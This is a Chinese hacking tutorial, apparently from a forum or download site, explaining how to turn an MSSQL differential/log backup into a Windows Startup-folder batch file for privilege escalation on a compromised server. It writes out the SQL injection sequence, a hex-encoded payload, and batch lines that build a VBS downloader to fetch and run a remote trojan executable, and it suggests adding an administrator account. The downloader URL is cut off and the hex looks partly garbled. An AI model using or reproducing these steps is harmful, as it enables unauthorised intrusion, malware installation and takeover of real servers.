昨天在网上找资料的时间无意进了一个站,糊里糊涂就进去了,想提权提不起来,后来加上服务商的Q号想社工一下,射了半天得知服务器的安全是绿盟的人给做的 安全,后来就问猪猪有什么提权的方法没,他刚好做了这个动画就给发来过来,在网上查了一下找到了文章,一起拷贝过来.最近忙着学习很少关注这方面的东西, 落后了,落后了...... 下面是是在网上找到的资料和动画. TEAM里的内部资料放久了,现在不放出来,迟早会有人发掘出来的!既然如此就拿出来大家分享吧! MSSQL差异备份获取webshell 几乎人人皆知,那么我们可以利用差异备份出来的文件 当作恶意代码 让系统执行了之后自动提升权限 或者添加管理员吗? 答案当然可以了,kj测试了N次之后跟你说! 那么我们得考虑文件摆放的位置~什么地方系统会运行呢?这个其实算是废话吧! 大家不用想都知道 通用地方 C:Documents and SettingsAll Users「开始」菜单程序启动 呵呵位置有了! 那么我们备份什么文件让系统能执行的呢? 这个是第一个关键点~! EXE JS VBS BAT这些文件大家第一时间想到的了 那些我一个一个来分析 exe的话!绝对能了! 但是 MSSQL差异备份这么多垃圾肯定会把exe弄坏的! 否决掉 然后到脚本 VBS 我们能不能把 他的垃圾信息注释掉呢? 不然VBS 会执行不了! OK 学过VBS的朋友都知道 VBS里面 有2种注释 ' 还有就是 rem 但是还是会有垃圾信息屏蔽不了 否决掉 JS呢? JS里面有多行注释的/**/ 但是 /* 不可能在首行吧? 否决掉 最后 剩下我们最熟悉的bat批处理了! OK我们继续分析 bat里面注释是什么呢?也是REM,失败啊!之前vbs那里不行 这里的rem注释也一样不行的! 那么我们怎么办呢?其实很简单! 当我们在CMD下面敲错了命令系统会怎样呢? 说到这里 要是大家不往文章下面看也一样能想到方法了吧~ OK我们继续探~~这里是最最关键点,差异备份出来的垃圾信息我们可以通过用回车把他提交了! 而系统只当作无用的命令来处理!不影响我们的操作! 问题就这样解决了吗?不是的!~MSSQL备份的时候,到一定的字符长度就会出现垃圾的字符,那个字符会影响我们的操作! 那么我们得把语句尽量缩少,越少越好~ OK那我们思路好了就采用bat 写一个VBS的下载者 然后执行这个下载者 最后通过下载者down回来的马子来获取系统权限 下面是我改过的生成下载者的BAT echo Set P=createObject("Microsoft.XMLHTTP")>k.vbs echo P.Open "GET"," >>k.vbs echo P.Send():set G=createObject("ADODB.Stream")>>k.vbs echo G.Mode=3:G.Type=1:G.Open() >>k.vbs echo G.Write P.ResponseBody:G.SaveToFile "t.exe",2 >>k.vbs k.vbs t 下一个k.VBS然后k.vbs下载一个t.exe文件保存到本地 直接执行 记得记得我说过的代码前面一定要用回车把垃圾数据提交 最好2以上个回车 然后实现差异备份 alter database ISTO set RECOVERY FULL-- create table cmd (a image)-- backup log ISTO to disk = 'c:cmd1' with init-- insert into cmd (a) values (0xA0D0AFDFAD 6FFED4CE6B2ED0AFE4FE2 CA2F2FEF2EE2FEC E3E6B2ED0AFEEAD FAFEDE3E6B2ED0A FE4D6FDAEDAE4FEE3E6B 2ED0AFEEF6EF AEFCECE3E6B2ED0A 6B2ED0AD0A)-- backup log ISTO to disk = 'C:Documents and SettingsAll Users「开始」菜单程序启动1.bat'-- drop table cmd-- OK bat出来了! 至于怎样让服务器重启呢!这个问题遗留给你们去讨论吧! 要是服务器直接开启了 那就更方便了! 直接bat 一个添加管理员的命令更爽! isto是动画里用到的工具. isto辅助转换工具.rarmssql差异备份取系统权限.rar
推荐整理分享MSSQL差异备份取系统权限的相关软件下载(sql差异备份数据库怎么还原),希望有所帮助,仅作参考,欢迎阅读内容。
文章相关热门搜索词:sql数据库差异备份,mssql备份数据库,sqlserver 差异备份,sql差异备份语句,数据库差异备份,sql差异备份语句,sql差异备份语句,sqlserver 差异备份,内容如对您有帮助,希望把文章链接给更多的朋友!
解决MSSQL远程连接sql非默认端口数据库的问题 SQL没有像SQL一样的客户端网络实用工具,基本上SQL算是把SQL里面的名字都改了,在网上找资料也没找到,只能一点点的试,终于发现了一个
SQL命令大全-中英文对照第1/3页 SQL命令大全-中英文对照--语句功能--数据操作SELECT--从数据库表中检索数据行和列INSERT--向数据库表添加新数据行DELETE--从数据库表中删除数据行UPDATE--更
用SQL语句实现随机查询数据并不显示错误数据的方法 问题:上级单位要来检查数据,我的服务器的数据库是SQLserver,上级单位要求我用SQL语句在服务器端随机查询条数据出来。可是我的服务器里有些错